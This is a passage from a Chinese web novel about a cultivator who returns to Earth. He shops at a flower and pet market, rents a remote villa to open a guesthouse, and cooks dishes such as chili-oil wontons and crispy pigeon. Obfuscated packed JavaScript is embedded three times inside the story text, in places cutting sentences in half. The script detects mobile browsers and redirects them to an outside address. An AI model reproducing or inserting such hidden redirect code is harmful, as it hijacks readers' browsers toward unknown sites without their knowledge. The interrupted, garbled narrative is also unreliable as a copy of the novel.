进了拱门,湿润的腐殖土气息扑面而来,安斯年第一次来这里,完全没想到整个市场可以大成这样,可以说花鸟鱼虫应有尽有,密集的各色商家一眼望不到尽头。 他先逛了逛左边的植物区,品种太多太多了,很多连他都叫不出名字。 总结一下,大概能分为几大类:观花类、观果类、观叶类、多肉类、水培类、藤本类、盆景类,最后还有特殊类别,比如蕨类、会捕虫的食蝇草等。 他其实更想要的是可食用的经济作物,但也不妨碍他犒劳一下眼睛,一家连着一家,欣赏着争奇斗艳的各色花卉。 看了一小圈,肥嘟嘟的多肉实在太合他心意,不知不觉就已经拎了一大口袋——小屁股一样的生石花、毛茸茸的熊童子、粉绿相间的玫瑰钱串,还有看上去就饱满多汁的红色浆果和粉色桃蛋…… 安斯年没要那些巴掌大的小花盆,他是打算以后种在民宿各处装饰用的,老板很细心的帮他单个的包好了,里三层外三层,用卷纸裹得跟木乃伊似的。 有了花,还得配些叶子,藤本类就不用了,家里有绿萝,那就来点蕨类。 珊瑚蕨、鹿角蕨各来一株……啊?棉花糖蕨? 光冲这名字,那也必须拿上一颗。 又是一大口袋。 市场才逛了一小半,战利品倒是不少,肚子也给逛饿了,安斯年就近找了家快餐店囫囵了一顿,大中午的,甩开长腿接着逛。 午后的动物区比想象中的安静,他身侧的一家水族馆前,近百个玻璃缸泛着粼粼波光,穿胶皮围裙的老板娘正在用纱网捞鱼,水珠溅到旁边“热带鱼特价15元”的硬纸板招牌上,晕开了一团墨渍。 “靓仔,买鱼嘛?喜欢哪个品种,随便看。” “……锦鲤。”安斯年蹲下身,手指悬在水面半寸处,箱子里的锦鲤争先恐后的聚拢,一尾黄金龙凤直接跃出了水面,冰凉的鳞片擦过他的手指,鱼鳍扫起的水花沾湿了他的手心。 “唉,这个好,想要什么花色的?黑金镇宅、白金起运、黄金招财嘛,看你心水咯。” “……就刚才那尾黄金龙凤吧,再挑一只配对就行。” 回头民宿开了,用大瓷盆养在前厅,好看又吉利。 “好哒,想招财是吧?一对黄金龙凤收你六十八,一路顺一路发啊!” 老板娘嘴上报价讨个口彩,手里快准狠的捞出一对黄金锦鲤,安斯年用神识感应了一下,那么一大堆颜色近似的鱼苗中,她居然完全没认错,碰过自己手指的那一尾,正乖乖的躺在她的纱网里。 这技术,相当娴熟了。 安斯年跟着老板娘去前台扫码打包,一路走过,无论走到哪里,身侧缸里的鱼苗就会聚集到哪里,有过于激动的,还会拿脑袋撞在缸壁上,发出“咚咚”的声响。 老板娘啧啧称怪,“这些鱼苗仔,平时很怕生的,今天搞的什么鬼?难不成靓仔你刚刚喂了它们鱼食?” 安斯年笑了笑,没答话。 是他体内木系灵气充盈后开始弥散的原因吧,动物植物都会很乐意亲近他,植物的动作太过缓慢还看不出什么异常,小动物们开心起来,动静儿就稍微大了点。 接过充气后装了鱼苗和水的塑料袋,“滴”的一声付过钱,安斯年继续向前走。 买鱼是临时起意,他其实是想要只狗。 狗狗是他最喜欢的动物。 十一岁之前,他跟着阿公还住在瑶寨里的时候,养过一只叫做“饼饼”的小土狗,每天会跟着他一起上学,等他进了教室,小狗就在校门外一直等,一直等,等到他放学再一起回家,从小学到初中,没拉过一天。 饼饼在安斯年高二的时候无疾而终,那会儿他已经跟着爸妈到了Q市,没能亲自送行。 从阿公电话里得知消息的时候,他把自己哭成了个猪头。 穿到了九嶷,建了洞府第二天,他就收养了一只灵犬,起了个名字叫做“沙姜”,那家伙看家护院之余也跟着一块儿修行了,用了二百八十年才成了精,化掉了喉咙上的横骨,可以口吐人言,但还没能化形。 也不知道他被天劫这么一踹,沙姜没了主人,现在会是怎么个情况,已经化形了么? 化了形,又是个什么模样…… 挨着水族馆的是鸟市,安斯年从一排排藤编鸟笼前经过,虎皮鹦鹉“啾啾”的叫声夹着画眉的清啼,还混着八哥“你好”的学舌音,像一场毫无配合度的儿童合唱,混乱却也清脆有趣。 有一种叫做“凤头金丝雀”的,模样呆萌极了,锅盖头似的发型遮住了小眼睛,头一低,活脱脱的鸟中小社恐。 尤其是白肚皮黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731002|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰色头盖的那一只,颜值最高,安斯年逗弄了两下,简直有了种带它回家的冲动。 可是没办法,暂时还顾不上,他悄悄凝结出一粒木灵珠,用指尖送到笼子边,白团子嘴一啄,秒吞了。 随手散出一点仙缘的安斯年离开鸟市,直奔了下一家犬舍。 这里飘着淡淡的玉米淀粉的味道,还有一些人工去味剂的味道,至于狗狗的味道,太过熟悉,他已经说不上是香还是臭了,几乎可以无视。 大几十个不锈钢笼子分散着摆在四周,安斯年的运动鞋刚刚踏上防滑垫,“嘤嘤”“嗷嗷”的奶狗叫声此起彼伏。 左边笼子里三个月大的博美正用粉爪子扒拉着笼壁,两颗乌黑的圆眼珠子水汪汪的,蓬松的尾巴摇的飞快,一扫而过时像团晃动的蒲公英。 右边笼子里的柯基幼崽,被兄弟姐妹们挤成了姜饼色的毛团,短腿在刨花屑里蹬出了小坑,立着毛茸茸的耳朵可怜兮兮的看着他。 穿着件荧光绿T恤的摊主正用针筒给一只柴犬幼崽喂奶,赤褐色的小家伙前爪抱着奶嘴,喉咙里发出满足的呼噜声,可眼睛也一样直勾勾的盯着他。 还有不远处几只纯白的萨摩耶,再远一点蓝褐异瞳的边牧,一脸凶相却露着温柔祈盼的法斗…… 这可要了命了。 安斯年感觉眼睛都不够用了,哪只他都觉得超可爱,选了哪只他都觉得对不起旁边的,他都成年这么久了,为什么还不能全都要呢? 他开始幻想,左手柯基右手边牧,头顶柴犬,膝盖上窝着泰迪的美好日子…… 电话铃声及时泚醒了他。 是冯乐乐打来的。 “年仔,房源有消息了,老曾帮你找到三个备选的,图片我发你手机上了,你看一眼,要是有意向的回我一句,可以约房东明天去现场再仔细看。” “好的,谢谢乐姐,我在外面,晚点就给你回消息。” 放下电话,安斯年迅速逃离了犬舍,再看下去,难道要把所有的都统统打包带回家么? 还是等民宿改造好了,有了地方可以喂养可以任它撒欢,再来看看哪只和他有缘吧。 离了狗狗,对其他的宠物,安斯年就没那么大的感触了,纯纯就是欣赏。十块一只的蝈蝈挺可爱的,动辄上千的宠物蛇也不算吓人,毛茸茸的兔子可爱得过份了,呆呆的小乌龟挺好养活,但他真的爱不起来…… 逛到下午四点钟,安斯年意犹未尽的出了花鸟市场,叫上网约车,在车上大概刷了下冯乐乐发给他的图片。 嗯,乍一眼看上去都挺不错的,至于具体的,还得到现场,看过周边环境再说了。 给冯乐乐回了消息,再闲聊了几句,不知不觉就到了小区门口。 这些目前都不重要,重要的是晚上吃什么。 回到屋里,冰箱里头,早上的馄饨皮和馅料都有得剩,只是清汤的吃过了,中午那一顿又不是很合胃口,安斯年想吃点重口的。 那就做成红油抄手好了。 菜如其名,这道蓉洲名小吃最关键的点就在红油的炼制上。 对这一点,安斯年自有小窍门。 他喜欢将黄豆炒香了,混着芝麻一起放在红油里。 冷锅下冷油,最好用菜籽油,加上一片生姜,两小瓣八角,几颗花椒,半段香葱,一起烧到冒青烟的程度,然后将调味料全部捞出。 剩下的滚油分三次淋入混合辣椒面+黄豆芝麻的碗里,边倒边搅,让油和辣椒粉末充分融合,激发出香气。 为什么要用混合辣椒面? 那是因为辣椒品种不同会有不同的辣度与色泽,喜欢辣香味更重点的可以选子弹头辣椒;喜欢辣味柔和一点的,那就加大二荆条辣椒的比例。混合后的辣椒面能够兼而得之,具体出品后什么味道,全看自己的心意。 另外辣椒面的粗细程度也有说法,细一些的被油淋过后会散发出轻微的焦香,粗一点的没那么容易过火则保留着辣椒的醇厚,以自己喜欢的口味,按照合适的比例熬制出的红油,色泽鲜亮,香味扑鼻,实在是回味无穷。 红油炼制好了,要制作味碟。 大蒜剁碎,姜剁成蓉,小葱香菜切段,少许花椒粉+味精,浇上一大勺红油,最后倒上薄盐生抽…… 不是夸口,这碗蘸料可以蘸万物。 蘸尽天下,那就没有不好吃的! 光闻着味儿,安斯年的口水已经不争气的冒了出来。 安版特制红油抄手,开吃! 第二天一早,小区门口,安斯年等到了专门来接他的曾凯。 8. 脆皮乳鸽 安斯年客气的说:“曾哥,麻烦你了。” 皮肤黝黑的曾凯笑出了一口白牙:“哪儿的话,我可不是白干啊,你这是照顾我生意呢,要是成了,中介费惯例是半月的房租,房东租客各50%,没有其他费用,你这儿呢我给你打个折,算40%好了。” 这人快言快语的把费用问题点明了,安斯年倒觉得挺爽利的,省了误会和麻烦,连忙道了声谢。 当初他租小单间的时候,也是找的中介,完全没经验还被人坑了一把。 签合同前那人一脸的慈眉善目:“中介费就按固定的,收你二百,全市也没有这么便宜的了。”签完立马变脸:“另外还有卫生费、钥匙费、wifi入户费……总计六百。” 他每月的房租两千二,按照半月的比例和房东分摊的话,中介费用应该也就五百五,可他加起来给了八百…… 而且他这种情况还算好的,进了房企之后,常听别人讲,这里面套路深的很,虚假广告、重复出租、合同陷阱等等等等,只有你没听过,没有中介想不到的。 曾凯很快用手机设置好了导航路线,又从后座拿了瓶矿泉水递过来,点火,开车,随口说到: “乐乐和我讲,你想要僻静些的地方,今天约好的三家应该都符合这个要求,但是小安,你这做民宿开门营业的,选址很重要啊,位置太偏离景点太远的话,客流量很不稳定哦,再加上交通也不方便……当然,你有你的想法哈,我就是给你提个醒。” 安斯年转着手里的瓶子,心里对这人的印象更好了些,笑说:“谢谢你啊曾哥,这我也知道,我开的这个,应该和一般景点的民宿有些区别吧,卖点大概是……我的厨艺?也没指望挣什么大钱,就想找个山清水秀的地方,躺平了修身养性。” 曾凯转头瞄了一眼,副驾上的小帅哥整个沐浴在清晨的阳光里,神色安详,白里透红的稚嫩肌肤上,半根胡须见不着,只隐约看见极浅极细的绒毛…… “哈哈哈哈”他实在忍不住狂笑了几声。 脸都没完全长开呢,就说要躺平修身养性了,现在的年轻人啊,经常泡着枸杞但又熬着大夜,一边养一边作……别问他是怎么知道的。 “行!你有自己的想法就行,但你这个卖点,emm,看来你手艺很不错啊,这么有信心的样子。” “应该……还行吧。等民宿开业了,请你和乐姐一块儿来尝尝。”安斯年拧开盖子喝了口水,没怎么谦虚。 “欸,那可说好了啊,我嘴巴挑得很,你可得拿出看家的本事,万一我吃得对味儿了,回头给你介绍大把的人来捧场。” 那不就是妥妥的客源么? 安斯年笑道:“那我先谢谢曾哥帮我安利了。” “哎呦,很自信啊小安……” 一路说说笑笑,一个钟头不知不觉就过去了,到了第一个考察地点。 曾凯停好车,下车后拉了拉,确认锁好了门,转头简单介绍:“南湾这边的沙滩不错,又不像海沙那边巨多的人,客流还是有的,等会儿我们看的是一栋渔民的自建房,三层,简陋了点,但胜在方方正正又够宽敞。加在一起有六百平了,你再简单装修一下,十来间房还是能做得出来的。” “花园呢?”安斯年最关心这个。 “有,但不算很大,前院后院总共一百平左右吧,想种点什么都随你,房东是个女的,还挺好说话的。” 两人边走边说,来到一家快餐店门口,几个客人在桌边吃汤粉,没见着老板。 曾凯冲着厨房方向喊了一声:“葛姨!看房子的来了,您有空过去么?” 染着时髦的红色头发,穿着围裙的老板娘端着一碗汤粉走出来,利落放在客人桌上,转头从兜里摸出一串钥匙:“今天真没空,我老公去鱼市了,一个人忙到死,小曾你带他去转转就行。” 嗯,看出来很忙了,钥匙是直接用丢的…… “啪” 曾凯辜负了他一身健康的黑皮,运动神经不是很敏锐,就几步的距离也没能接着,钥匙直接掉在了水泥地上。 “好嘞,那您先忙……” 捡起钥匙,朝人烟稀少的方向走了挺长一段,一栋三层楼的小别墅出现在眼前,正宗的岭南建筑风格,围墙挺高的,从外面看不见内院情况。 开了门,安斯年先看了一眼院子,收拾得还挺干净的,大小也能接受,就是铺砖的地面多,能做绿化的面积少了些。 两人楼上楼下转了一圈,曾凯带着安斯年到了后院,说:“还算清净吧?这家我觉得最好的就是后院,前面小门一开,走两步就到沙滩了,这一段人特别少,搞得好像是私家的沙滩一样。” 说话间,就到了后院小门,曾凯拿出钥匙开门走了出去,安斯年跟在后头,果然,也就两三分钟吧,一小片沙滩已经现了形,眼前一片豁然开朗。 湿润的气息随着海风扑面而来,稍微带着些咸腥味,视觉效果倒是不错,早晨柔和的太阳光照射下,沙滩和海面仿佛融为了一体,都变成了金灿灿的。 欣赏了一会儿海景,安斯年拿出兜里的小零食分享了,两人沿着原路返回。 曾凯没有过多的游说,回到快餐店还了钥匙,直奔了第二家。 这一家隔得不太远,开车也就十几分钟,就是钥匙拿得不太容易。 房东人在外地,已经把房子托管给了附近的小中介,曾凯打了两三个电话,费了些人情才把钥匙拿到手。 到了地头,开了门,安斯年眼前一亮—— 巨大的前院接近三百平的面积,绿意葱葱,灌木旺盛,草皮也铺得很好,曾凯走到角落的一个电箱旁按了下开关,自动喷洒机开始旋转,水雾在阳光照耀下折射出七彩的微光。 “你这么在意花园面积,是想自己种点什么吧,这家就这点最方便了,前院后院都装了自动灌溉系统,房东本身也挺喜欢绿化的,你看这花园,伺候的多好?他对租客的要求也是这样,能照顾好他这园子的,价格也好商量。” 是挺不错的,房子内部结构和第一家大差不差,方方正正的小三层,总面积小了些,但也不多。 重新回到院子里,安斯年有些意动,“月租呢?” “三万,押一付三,如果一年一次性付,那就三十五万。” “几年一签啊?” 他这民宿开起来,肯定不是一两年的事儿,涨幅和重签太频繁也麻烦。 曾凯关了喷头,在草皮上蹭了蹭脚底的泥,想了想,“他一般就一年一签的,但要是好好谈一下,两年一签应该也可以,嗯,不能担保,得谈。” 又问:“还去看第三家么?那里实在太偏,快到半山上了,路很不好走,但如果只是论景观的话,绝对没话说。” 安斯年回想了一下手机里的图片,白墙灰砖的建筑从脑海里一闪而过,似乎是最有设计感的一个,“去看看吧,要是不行那就选这家。” 曾凯点点头,“没问题,但开车过去大概要一个小时,先吃午饭吧。来了南湾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731003|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能不吃脆皮乳鸽啊,我带你到一家农场去试试,就离我们停车的地方不远,包正宗包好味的。” 说到美食,安斯年恨不能举双手赞成,丝毫没有异议,只有“嗯嗯”。 很快到了地方,说是农场,其实就是个大型的农家乐,大中午的,餐厅大堂里,四十多张桌子居然座无虚席,可见生意好到了什么程度。 点了单等待上菜的功夫,曾凯忍不住提点:“小安,等会儿鸽子上来了,五分钟内就得吃完啊,过了时间脆皮就没那么香了,哎呀,到时候你就知道什么叫做‘一鸽胜九鸡’,绝了我跟你说。” “嗯,好。”安斯年笑着点头。 其实作为一个合格的吃货,他不光知道这些常识,连制作的秘诀也都一清二楚。 脆皮乳鸽的滋味,妙就妙在味觉的三重奏上。 第一重——脆! 牙齿破开玻璃纸般的脆壳时,“咔嚓”,像踩碎了一片焦糖凝结的薄冰,又像是咬破了一层金色的糖甲,汁水迸溅的瞬间,麦芽糖与卤水经过高温后散发的焦香瞬间炸裂。 第二重——嫩!! 鸽肉的纤维极细,蚕丝一样,浸润了十几种香料的卤香早已渗透骨髓,舌尖稍微压一下就彻底化开,汁水会裹着特有的鲜甜滋味涌出,带来几分类似顶级和牛的脂香。 第三重——韵!!! 鸽肉咽下后喉头回甘,陈皮与沙姜的辛香味在齿尖回旋,骨头缝里渗出若有若无的甘松药香,这是粤洲卤水千年流传的独特韵味。 这么好吃的东西,制作起来也不简单,预处理的时候就需要锁鲜定型,要从鸽子颈部开口吹气,使其皮肉分离,沸水烫皮后,冰水立刻收缩才能锁住肉汁。 再然后,冷卤慢沁,三刷三晾为脆皮上色,最后用150°的滚油不停地浇淋。这都还不算完,甚至连斩件也有诀窍,讲究的是‘一刀断骨’绝不拖泥带水。 真正极致的脆皮乳鸽,是时间与火候的博弈,是卤水的温润、脆皮的暴烈、肉质的鲜嫩交融后能达到的最完美的平衡。 安斯年不觉吞咽了一下,被自己想象出的画面馋死了。 店员托着木匾走过来,揭开盖子,焦糖色的脆皮乳鸽卧在浓绿的芭蕉叶上,旁边配了一碟五香椒盐、一碟酸梅酱,咸甜随意。 两人都顾不上说话了,带上一次性手套,“刷”撕下一条鸽子腿,“滋”连吮带嚼的,一嘴一手的油星。 三只乳鸽转眼就只剩了细细的骨架子。 吃了一顿大肉,泡上杯茶解腻,半瘫在椅子上,实在满足得很。 安斯年结了账,曾凯也没刻意争抢,只是另外掏钱给他妈妈打包了两只乳鸽。 茶足饭饱后再来开车,人就有些昏昏欲睡了,曾凯将空调打到了22°,被冷气一激,瞬间清醒了不少。 安斯年则趁这悠闲的空挡,闭上眼,进入空间看看自己的灵植。 喂过灵气珠的勒杜鹃发育得最猛,几乎要占据四分之一的空间了;嫩绿的葱苗蒜苗蓬勃向上,散发着淡淡的清香;三株绿萝亲亲热热的挨在一起,已经蔓延了油汪汪的一大片,它们不停向着小樱的方向冒着侧芽,很有些抢占地盘的势头。 本命灵植骄傲的独踞正中位,已经开始舒展第三片芽叶了,原来的第一片长大了很多,能看出是个心形的叶子形状。 安斯年一楞,转头朝着绿萝的新芽看了两眼…… 很像啊。 难道自己的本命灵植居然是株绿萝? 9. 手撕鸡 安斯年倒也不是嫌弃,绿萝一直是他很喜欢的一种藤本植物,要不然当初也不会一养就是三盆。 主要吧,在九嶷大陆的时候,别的木系修士觉醒的本命灵植,要不是什么‘通天木’、‘雷击木’,就是‘玄天藤’‘嗜血藤’……光听名字就很牛叉的那种。 轮到他,绿萝? 也太接地气了吧。 也许感应到了他的想法,幼苗弯了芽茎,垂下了头,整一个可怜模样。 啊……这可不行。 小家伙从九嶷跟他到了地球,可不能让它有丝毫的委屈,不就是名字嘛,起一个牛掰的不就行了。 安斯年蹲下身,指尖轻抚安慰,对着幼苗喃喃低语:“……绿萝妖藤?不,不能腰疼,那……青罗神藤?好像还不错诶……” 幼苗立刻支棱了,芽叶微不可见的抖动了一下,欢快的吐出了一丝灵气。 “okk,那你就叫做‘青罗神藤’了!” 安抚了自家藤宝,神识略一感应,安斯年瞬间把握了灵气流的数量,九十九丝! 眼看就要破百了。 他心情大好的回归了现实,车子已经缓缓下了高速,进了S市最东头的沙港鹿角湾区。 穿过一个小渔村后,继续向山上开,这时的导航已经完全不起作用了。 但显然也不需要导航了,明显上下都只有一条山路,曾凯干脆关掉了,用蓝牙点开了音乐单。 激烈的粤洲方言摇滚乐伴奏中,车子十分缓慢的颠簸了二十来分钟,总算到了目的地。 漫山青翠的掩映下,正午的阳光照耀在雪白的墙面上,曾见过几处角落图片的三层别墅露出了它的全貌。 这确实是一栋极具设计感的建筑。 整体呈流线状的三角形,除了深浅不一的灰砖,建筑材料多采用了原木与玻璃的结合,一楼入户处是规整的栅格状木条装饰,二三楼大大的露台被玻璃围栏包围着,是原生态与现代技术的巧妙融合。 最让安斯年喜欢的是,这别墅居然没有院子! 不,换句话说,整个半山腰的开阔处,包括后山隐约的果林,都是它的院子。这整座山头都是房东家的,想种点什么都随意。 “……对、对,我们到了,行……好。”曾凯挂了电话,转头说:“房东马上就到,路上了。” “曾哥,这房子太漂亮了,怎么没人住,荒成这样了?”安斯年看着杂草丛生的墙角窗台,实在有些不解。 曾凯笑道:“嗐,漂亮能当饭吃?地方太偏了啊,干什么都不方便,最近的超市还在山脚的小渔村里,你看光跑一趟就得颠上半个钟头。” 他嘴快的叭叭说了一通缺点,显然一顿饭的功夫,两人已经熟悉了很多,加上安斯年脾气又好,他几乎快忘记了自己地产中介的本分了。 这会儿回过神,又想着圆场:“其他的倒还都行,风景确实没得说,后山还有一道小瀑布呢,信号也没问题,水电的话,水肯定没问题,电是单独接上来的,偶尔会断一会儿,但地下室配了个发电机,应该都能对付。” “既然这么不方便,为什么跑到这儿来建别墅啊?”安斯年确实有点不理解,这一个和他之前看的那些民房差距实在太大了。 “房东的儿子呗,十几岁就送美丽国读书去了,后来学了个建筑设计,总想捣鼓点什么,前几年回来就着自家的山,就捣鼓出这么一栋别墅,说是给他老窦养老用的,走吧,人还没到,我先带你在屋子外面绕一圈。” 两人在房子外围绕了大半圈,又登上后山小道俯视了一回,安斯年这才把结构大概捋清楚。 外表看上去的三角流线型,其实内部应该很方正,几乎每个房间都有超大的露台,上下一共三个泳池,三楼一个,前后院各一个,想要玩水的话非常的方便。 “这房子多大啊?” “套内实用的面积接近700平米,还不算这些大露台,所以房东要价也高,三万八一个月,没得讲。” 回到大门口,没两分钟,“突突”的气门声传来,一个穿背心短裤的中年男人骑着摩托车缓缓靠近。 “水佬!”曾凯扬了扬下巴,跟人打过招呼,歪过头和安斯年低声耳语:“房东,他不爱人家管他叫叔,怕被人叫老了,你也叫水佬就行。” 安斯年打量了两眼,很典型的南方人长相,眉弓平缓,鼻翼挺宽,整个人精瘦精瘦的,肤色也挺黑,目测五十多岁的年纪。 “……水佬,他姓水啊?” 这姓倒是蛮少见的,就记得曾经有个央视主持人姓这个。 曾凯低笑了一下,不知道怎么就被戳到了笑点:“不是,他在村里开了个茶馆,其实就是麻将馆啦,老板嘛,抽水收茶位费的,所以都管他叫水佬。” 哦,原来是抽水的水,粤洲的语言习惯,喜欢把钱财比喻成水。 可笑点在哪儿? 安斯年有些迷惑的睁大了眼。 曾凯的声音压得更低了些,“……他的本名叫黎明。” 嗯?曾经的港湾四大天王? “真叫这个啊?” “真的,上次有个客人谈得差不多了,差点就要签合同,我见他在合同上写的本名,和黎天王还是同年的。” 安斯年脑海里闪过那位高大儒雅的昔日巨星,再看一眼面前,老头背心花短裤,踩着人字拖骑着电驴的麻将馆老板……忍不住也勾起了嘴角。 他赶紧揉揉鼻子,礼貌的遮掩了。 别墅大门打开,果然和他猜想的差不多,内部很是方正,而且居然还有个中庭花园,与之相对应的,屋顶镂空了一个流畅的椭圆三角形,让房子里的采光与空气流通立刻上升了一个level。 中庭花园的草皮上,放着一条能容纳十多人就餐的长木桌,整个桌面就是一根巨大的白橡木竖切面,线条几乎都没怎么修整,原汁原味的杵在阳光中。 安斯年对这桌子几乎一见钟情了,这样的桌面,天生就该用来承放各色美食。 二楼随意转了转,上到三楼,三楼只有两个房间,泳池却是全屋最大的,旁边还有个面积相等的屋顶花园,现在乱七八糟的长了些杂草,可并不妨碍安斯年幻想它未来绿意葱葱的绝美模样。 曾凯来这儿很多次了,可即便之前吐槽了那么多,这会儿也没能忍住,指着没有一滴水,只有枯枝败叶的泳池说:“看出来没?‘无边际’泳池,把水放满了,人往里面一泡,再看看这风景……” 一望无际的海湾,仿佛就在脚下。 安斯年驻足的这一刻,空间内的灵气流悄无声息的又多了一条…… 没有任何预兆,也没有任何声音,灵气流突然消失了,空间猛地拓展了一倍有余,四周包围着的翡翠色介质似乎也透亮了一些。 山风吹过,方圆千米内的所有植物似乎都感应到了波动,拼了命的生长,欢欣鼓舞的倾吐着绿意。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731004|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 回过神,他没再继续纠结,也忽略了曾凯的欲言又止,“就这儿吧,我挺喜欢的。” 安斯年直接和水佬签了合同,以年租的方式,暂定了五年的租约。 回程的路上,曾凯再没说什么扫兴的话,只是反复提醒开业要办理的证件种类。 回到出租屋,查询相关证件所需资料,大概计划一下哪里需要修整,再看看家私摆设的网站……安斯年忙活了一整个下午。 五年的租约,两百多万的租金眼看就要撒出去了,尽快做好准备,开业回血才是正经事。 可晚饭还是要好好吃的。 他回想起,中午在农场半山坡上看见的,那些精神抖擞的走地鸡。 还有曾凯信誓旦旦‘一鸽胜九鸡’的吹嘘。 那……今晚就吃手撕鸡好了,葱香味的。 粤洲人特别爱吃鸡,曾有个说法——没有一只鸡能活着走出粤洲。 安斯年当然也不例外。 至于鸡肉的做法,也就相应有太多太多种。 要说最出名的,当属白切鸡,然后便是豉油鸡、手撕鸡、盐焗鸡、椰子鸡、窑鸡、啫啫鸡煲等等等等。 他今晚想做的葱油手撕鸡,关键点其实就两个: 第一,鸡肉要皮脆而肉嫩,颜色黄润油亮。第二就是葱油的熬制,不仅要葱香浓郁,还必须把控分寸,不能掩盖掉鸡肉本身的鲜香。 做好这两点,完成这道美味其实就相当的简单。 安斯年神识一动,来到空间里,将小葱剪掉一大半,留下根须继续生长。 回到厨房,开始准备卤鸡,他将容易散发腥味的翅膀尖、脚尖、屁股尖去干净,整鸡入锅加水,再加生姜、葱段、花椒、胡椒、白芷少许辅助提鲜去腥,黄栀子拍碎了提色,小火将汤料烧到将开未开的程度保持半个钟的火候,鸡肉就卤好了。 卤好起锅后迅速放入冰水里,鸡皮会立刻收缩,自然风干后尤其的脆嫩多汁。 葱油香气的秘诀则在于火候,葱蒜姜末以5:2:1的比例复合后,趁冷锅冷油倒进去,耐心的用极小火慢慢熬制,再加两瓣八角、少许芝麻把后香味提足了,等葱蒜姜末微微发黄漂浮起来的时候就可以出锅了。 尤其这次熬葱油的是空间出品的小葱…… 那香味!太霸道了!! 安斯年甚至觉得什么都不用蘸,光这葱油配米饭他也能吃上一锅。 他耐着性子,将葱油盛出来用保鲜膜封好,带上一次性手套,将鸡肉慢慢撕成条状。 这个过程其实蛮解压的,就是得忍忍——太香了,得忍着在没有最后拌匀之前不要动嘴,要不然,很可能一块两块三块的,就这样直接吃掉了。 撕好的鸡肉,加入盐、白糖、胡椒粉、鸡精,轻轻捞拌均匀,最后加入葱段香菜花生碎,浇入熬制好的葱油,完美的葱油手撕鸡就做好了。 金黄的鸡皮泛着油润的光泽,鲜嫩的鸡肉错落交叠着,有的还挂着凝脂般的半透明鸡冻,葱油裹着的芝麻粒正顺着鸡肉丝蜿蜒欲滴。 吃到嘴里,葱香浓郁,咸鲜适口,最让人满足的还不止是味道——是吃鸡不用吐骨头! 一大筷子浸满料汁的鸡肉丝,就着喷香的白米饭,可以放心的大口朵颐。 吃过晚饭,点上杯奶茶,安斯年继续下午的工作。 先得把各种证件的流程理理顺。 我去,这也忒麻烦了吧? 10. 五指毛桃土茯苓煲排骨 首先得有营业执照,这个还算好办,拿着身份证和租赁合同去鹿角港区工商所申请成为个体户就行了。 然后就是各种行业许可,比如之前冯乐乐告诉他的那个特种行业许可证,另外还有卫生许可证,消防许可证…… 另外,他要提供餐饮,还得有食品经营许可证,这些里面又牵扯到平面图、健康证、房屋质量检测报告等等,更加麻烦了些。 再然后,他还得考虑一下交通的问题。 回来这么些天了,因为嗅觉太过灵敏,他实在不想去挤公交地铁,出行都是叫的网约车。 可这毕竟不是长久之计,尤其以后到了鹿角港,就他选的那个半山腰上,网约车估计想叫都叫不到吧。 筑基之后倒是可以御剑飞行了,可到处是摄像头,他还不想自找麻烦,开车吧,但他没有驾照,不管是机动车还是摩托车都暂时开不了。 驾照,肯定要安排起来的,可在那之前…… 嗯,要不先搞一台电鸡? 粤洲这地方,喜欢把电动自行车叫做电鸡,大概是为了和电驴相呼应吧。就是那种时速不超过25公里/小时,还带着脚踏可以骑行的电动自行车,价格不贵还不用办驾照,十分的方便,洲府的大街小巷上,随处可见。 这么一想,安斯年忍不住就点开了网页…… 牌子还挺多的,什么雅德、八号、爱马的。等搬了家,立马去提一台好了。 “咚咚”敲门声响起,他的奶茶到了。 一次两杯,最爱的烤黑糖波波牛乳,还有经典的芝芝多肉葡萄。 先喝葡萄,酸酸甜甜清清爽爽,然后烤黑糖波波,甜甜嘴儿。 要说开始修行以来,安斯年最满意的,除了寿命增长,就是可以像永动机一样光吃不胖了。 再高糖高油高淀粉的东西,一旦进了他的胃,就像进了什么虚无的次元空间,根本产生不了一星半点的脂肪。 想想之前那一年的娱乐圈生涯,吃着生菜沙拉白水鸡胸肉都还要被嫌弃发胖的日子,再看看现在奶茶Free的幸福生活,修仙可真好啊…… 这么好的事,为什么不能和人分享呢? 独乐乐不如众乐乐。 哈,一想到众乐乐他就联想起了冯乐乐,要是知道他能修仙,这姐们不晓得会吃惊成什么样子。 一边吸着葡萄,一边感慨着,安斯年头一次认真考虑在地球传授功法的事情。 之前是因为地球毫无灵气,他也就压根没朝这方面想过。 可是现在,六米立方的翡翠空间里,移栽进去的植物不停产出着灵气…… 他有清晰的预感,下一回空间再次扩大的话,需要吞噬一万丝灵气流,按照现在每天将近一百的数量,嗯,也就最多三个月吧,到时候,至少十个立方米的地盘,种满了植物,产生出的灵气应该就足够供给别人修炼的了。 而且,灵气不停产出,空间还会一直扩大么?最后会大到什么程度?除了五行元素,动物能不能进?活人呢? 